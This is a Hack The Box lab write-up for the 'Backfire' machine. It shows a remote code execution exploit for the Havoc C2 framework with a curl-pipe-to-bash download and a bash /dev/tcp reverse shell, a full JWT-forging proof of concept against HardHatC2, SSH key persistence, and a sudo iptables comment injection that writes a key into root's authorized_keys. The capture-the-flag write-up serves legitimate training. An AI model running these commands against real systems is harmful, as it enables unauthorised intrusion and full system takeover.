HTB: Backfire - Medium

Enumeration

We start of by running a Nmap scan with nmap -sV -sC 10.129.242.173 -oN nmap/backfire.nmap --min-rate=10000, resulting in:

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-30 19:09 CEST
Nmap scan report for 10.129.242.173
Host is up (0.011s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 9.2p1 Debian 2+deb12u4 (protocol 2.0)
| ssh-hostkey:
|   256 7d:6b:ba:b6:25:48:77:ac:3a:a2:ef:ae:f5:1d:98:c4 (ECDSA)
|_  256 be:f3:27:9e:c6:d6:29:27:7b:98:18:91:4e:97:25:99 (ED25519)
443/tcp  open  ssl/http nginx 1.22.1
| ssl-cert: Subject: commonName=127.0.0.1/stateOrProvinceName=Florida/countryName=US
| Subject Alternative Name: IP Address:127.0.0.1
| Not valid before: 2025-04-19T17:07:46
|_Not valid after:  2028-04-18T17:07:46
| tls-alpn:
|   http/1.1
|   http/1.0
|_  http/0.9
|_http-title: 404 Not Found
|_ssl-date: TLS randomness does not represent time
|_http-server-header: nginx/1.22.1
8000/tcp open  http     nginx 1.22.1
|_http-title: Index of /
| http-ls: Volume /
| SIZE  TIME               FILENAME
| 1559  17-Dec-2024 12:31  disable_tls.patch
| 875   17-Dec-2024 12:34  havoc.yaotl
|_
|_http-server-header: nginx/1.22.1
|_http-open-proxy: Proxy might be redirecting requests
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.47 seconds

This Nmap scan results in a endpoint containing directory listing, revealing the files:

Up-on Googling these files, it seems that the C2 framework software called Havoc is in use.
The content of the file disable_tls.patch contains the following:

Disable TLS for Websocket management port 40056, so I can prove that
sergej is not doing any work
Management port only allows local connections (we use ssh forwarding) so
this will not compromize our teamserver

diff --git a/client/src/Havoc/Connector.cc b/client/src/Havoc/Connector.cc
index abdf1b5..6be76fb 100644
--- a/client/src/Havoc/Connector.cc
+++ b/client/src/Havoc/Connector.cc
@@ -8,12 +8,11 @@ Connector::Connector( Util::ConnectionInfo* ConnectionInfo )
 {
     Teamserver   = ConnectionInfo;
     Socket       = new QWebSocket();
-    auto Server  = "wss://" + Teamserver->Host + ":" + this->Teamserver->Port + "/havoc/";
+    auto Server  = "ws://" + Teamserver->Host + ":" + this->Teamserver->Port + "/havoc/";
     auto SslConf = Socket->sslConfiguration();

     /* ignore annoying SSL errors */
     SslConf.setPeerVerifyMode( QSslSocket::VerifyNone );
-    Socket->setSslConfiguration( SslConf );
     Socket->ignoreSslErrors();

     QObject::connect( Socket, &QWebSocket::binaryMessageReceived, this, [&]( const QByteArray& Message )
diff --git a/teamserver/cmd/server/teamserver.go b/teamserver/cmd/server/teamserver.go
index 9d1c21f..59d350d 100644
--- a/teamserver/cmd/server/teamserver.go
+++ b/teamserver/cmd/server/teamserver.go
@@ -151,7 +151,7 @@ func (t *Teamserver) Start() {
                }

                // start the teamserver
-               if err = t.Server.Engine.RunTLS(Host+":"+Port, certPath, keyPath); err != nil {
+               if err = t.Server.Engine.Run(Host+":"+Port); err != nil {
                        logger.Error("Failed to start websocket: " + err.Error())
                }

This contains some interesting information, such as a user and management portal information:

Disable TLS for Websocket management port 40056
[..]
sergej
[..]
Management port only allows local connections

And the content for havoc.yaotl contains the following:

Teamserver {
    Host = "127.0.0.1"
    Port = 40056

    Build {
        Compiler64 = "data/x86_64-w64-mingw32-cross/bin/x86_64-w64-mingw32-gcc"
        Compiler86 = "data/i686-w64-mingw32-cross/bin/i686-w64-mingw32-gcc"
        Nasm = "/usr/bin/nasm"
    }
}

Operators {
    user "ilya" {
        Password = "CobaltStr1keSuckz!"
    }

    user "sergej" {
        Password = "1w4nt2sw1tch2h4rdh4tc2"
    }
}

Demon {
    Sleep = 2
    Jitter = 15

    TrustXForwardedFor = false

    Injection {
        Spawn64 = "C:\\Windows\\System32\\notepad.exe"
        Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe"
    }
}

Listeners {
    Http {
        Name = "Demon Listener"
        Hosts = [
            "backfire.htb"
        ]
        HostBind = "127.0.0.1"
        PortBind = 8443
        PortConn = 8443
        HostRotation = "round-robin"
        Secure = true
    }
}

And this contains two passwords, that might be of interest:

ilya:CobaltStr1keSuckz!
sergej:1w4nt2sw1tch2h4rdh4tc2

I did test these credentials to possibly SSH into the machine, this resulted in Permission denied (publickey)

Foothold

After being stuck, I started Googling for available exploits, this is where I found the exploit: https://github.com/thisisveryfunny/CVE-2024-41570-Havoc-C2-RCE

This contains a exploit.py, where I modified the following parts:

212  USER = "USERNAME" # CHANGE THIS
213  PASSWORD = "PASSWORD" # CHANGE THIS
214  host = "<IP>" # CHANGE THIS
215  port = <PORT> # CHANGE THIS

Which I changed to the following:

212  USER = "ilya" 
213  PASSWORD = "CobaltStr1keSuckz!"
214  host = "127.0.0.1"
215  port = 40056
  • The user is what we found, including its password
  • The host is 127.0.0.1 since this part exploits locally
  • The port is the one we found in the configuration files

And we also modify the cmd part to curl our shell, and pipe it into bash:

232  cmd = "curl http://10.10.14.134:8000/payload.sh | bash" # CHANGE THE IP AND THE PORT

We can now modify the payload.sh with our own IP and PORT:

#!/bin/bash

bash -i >& /dev/tcp/10.10.14.134/4444 0>&1 # CHANGE THIS

Which we can then host, using python3 -m http.server 8000

As soon as all the configuration is done, we can run the exploit, where we again define the localhost and the management port – we also specify the host we want to attack, in this case that is backfire.htb:

python3 exploit.py -t https://backfire.htb -i 127.0.0.1 -p 40056

As soon as this is ran, the request is made to our webserver:

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.129.242.173 - - [30/Apr/2025 20:54:07] "GET /payload.sh HTTP/1.1" 200 -

With as result, shell is obtained and the user flag is revealed:

ilya@backfire:~/Havoc/payloads/Demon$ cat ~/user.txt
cat ~/user.txt
0fac58[..]810479b

Now we can stabilize our shell by adding our public key to the authorized_keys:

echo 'ssh-ed25519 AAAAC3NzaC1[..]' >> ~/.ssh/authorized_keys

And we can now just SSH into ilya with ssh ilya@10.129.242.173 .

Privilege Escalation

Escalating to Sergej

There is a file called hardhat.txt, which reveals that Sergej installed hardhat:

ilya@backfire:~$ cat hardhat.txt
Sergej said he installed HardHatC2 for testing and  not made any changes to the defaults
I hope he prefers Havoc bcoz I don't wanna learn another C2 framework, also Go > C#

Since the machine is already having more focus on CVE’s, we just Google for a CVE for hardhat, revealing the proof of concept: https://blog.sth.sh/hardhatc2-0-days-rce-authn-bypass-96ba683d9dd7

While reading it, we need to find which port is serving the c2 framework, this I show by executing netstat -tulpn, which reveals the ports:

State       PID/Program name
tcp        0      0 0.0.0.0:7096            0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:5000            0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:443             0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:8443          0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:8000            0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:40056         0.0.0.0:*               LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -
udp        0      0 0.0.0.0:68              0.0.0.0:*

Where I’d suspect either 5000 or 7096 to be running on it.
So I ran curl, and confirmed it is running on port 5000:

curl -k https://localhost:5000 -I
HTTP/2 404
date: Wed, 30 Apr 2025 19:04:13 GMT
server: Kestrel

When scrolling down, we find a proof-of-concept, which is:

# @author Siam Thanat Hack Co., Ltd. (STH)  
import jwt  
import datetime  
import uuid  
import requests  
  
rhost = 'hardhatc2.local:5000'  
  
# Craft Admin JWT  
secret = "jtee43gt-6543-2iur-9422-83r5w27hgzaq"  
issuer = "hardhatc2.com"  
now = datetime.datetime.utcnow()  
  
expiration = now + datetime.timedelta(days=28)  
payload = {  
"sub": "HardHat_Admin",  
"jti": str(uuid.uuid4()),  
"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "1",  
"iss": issuer,  
"aud": issuer,  
"iat": int(now.timestamp()),  
"exp": int(expiration.timestamp()),  
"http://schemas.microsoft.com/ws/2008/06/identity/claims/role": "Administrator"  
}  
  
token = jwt.encode(payload, secret, algorithm="HS256")  
print("Generated JWT:")  
print(token)  
  
# Use Admin JWT to create a new user 'sth_pentest' as TeamLead  
burp0_url = f"https://{rhost}/Login/Register"  
burp0_headers = {  
"Authorization": f"Bearer {token}",  
"Content-Type": "application/json"  
}  
burp0_json = {  
"password": "sth_pentest",  
"role": "TeamLead",  
"username": "sth_pentest"  
}  
r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, verify=False)  
print(r.text)

This is where we change the rhost to localhost and on port 5000.
Next we SSH again into the machine, but use a dynamic port for proxychains, this is done with ssh ilya@10.129.242.173 -D 1080 and modifying the file /etc/proxychains4.conf with the line:

socks4  127.0.0.1 1080

Now we can run the exploit, by running proxychains python3 exploit.py , which returns:

User sth_pentest created

Since we now need to login to the page and want web access, it is more stable to just port forward the host to our attacker machine. I did this with the command ssh -L 1337:localhost:7096 `ilya@10.129.242.173`` – Now we can view the site at 127.0.0.1:1337

And we can login with our created user via the exploit:

There is a panel which allows to execute commands locally on the server, we can find this at https://127.0.0.1:1337/ImplantInteract:

With as result – revealing our user sergej:

So again, I ran the SSH add to authorized_keys, and allowing myself to SSH into it:

echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAI[..]' >> ~/.ssh/authorized_keys

This commands loads forever, but just ignore that:

And I just SSH into the machine, showing that the adding to authorized_keys did work again:

sergej@backfire:~$ whoami
sergej

From sergej to root

As soon as I was logged in as sergej, I found the file hardhat_firewall.sh which already reveals where we have sudo permissions on:

sergej@backfire:~$ cat hardhat_firewall.sh
#!/bin/bash

#sudo /usr/sbin/iptables-save > /tmp/rules.v4
sudo /usr/sbin/iptables -F

sudo /usr/sbin/iptables -A INPUT -p tcp -s localhost --dport 5000 -j ACCEPT
sudo /usr/sbin/iptables -A INPUT -p tcp --dport 5000 -j REJECT

sudo /usr/sbin/iptables -A INPUT -p tcp -s localhost --dport 7096 -j ACCEPT
sudo /usr/sbin/iptables -A INPUT -p tcp --dport 7096 -j REJECT

To confirm this, I ran sudo -l – revealing we indeed have sudo permissions on iptables and iptables-save:

Matching Defaults entries for sergej on backfire:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User sergej may run the following commands on backfire:
    (root) NOPASSWD: /usr/sbin/iptables
    (root) NOPASSWD: /usr/sbin/iptables-save

So I did some Googled again for a exploit on this, this is where I found https://www.shielder.com/blog/2024/09/a-journey-from-sudo-iptables-to-local-privilege-escalation/ – which has a arbitrary file write vulnerability.

So I read /etc/ssh/sshd_config file, to make sure that no permit root configuration is present, allowing me to probably SSH into root.

I modified the PoC, and came to the conclusion of running – to add my SSH as a rule comment:

sudo iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'\nssh-ed25519 AAAAC3NzaC1lZDI1NTE5A[..]\n'

Which I then confirmed using sudo iptables -S – Which reveals my public key is stored in the comment:

-P INPUT ACCEPT
-P FORWARD ACCEPT
-P OUTPUT ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 5000 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 7096 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -i lo -m comment --comment "
ssh-ed25519 AAAAC3NzaC1lZDI[..]
" -j ACCEPT

And now we can run iptables-save to the root authorized_keys file:

sudo iptables-save -f /root/.ssh/authorized_keys

And as soon as that is done, we can SSH into root and print the flag:

root@backfire:~# cat root.txt
793379[..]cc5bf71